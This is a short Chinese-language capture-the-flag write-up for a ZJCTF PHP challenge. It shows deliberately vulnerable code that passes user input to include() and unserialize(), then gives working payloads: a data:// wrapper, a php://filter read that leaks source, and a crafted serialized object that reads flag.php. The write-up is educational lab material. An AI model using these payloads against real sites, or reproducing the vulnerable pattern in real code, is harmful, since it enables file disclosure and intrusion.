打开题目
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
可以传递三个参数
首先需要一个写有"welcome to the zjctf"的文件,将text设为这个文件名,这显然是不现实的。可以用data协议
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file中不能有"flag",后面又提示useless.php,先尝试读取
file=php://filter/read=convert.base64-encode/resource=useless.php
解码后得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
毫无疑问payload中file的值应为useless.php,然后还需要构造一个序列化字符串来获得flag
<?php
class Flag{
public $file;
}
$a=new Flag();
$a->file='flag.php';
var_dump(serialize($a));
?>
得到
string(41) "O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}"
所以payload为
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}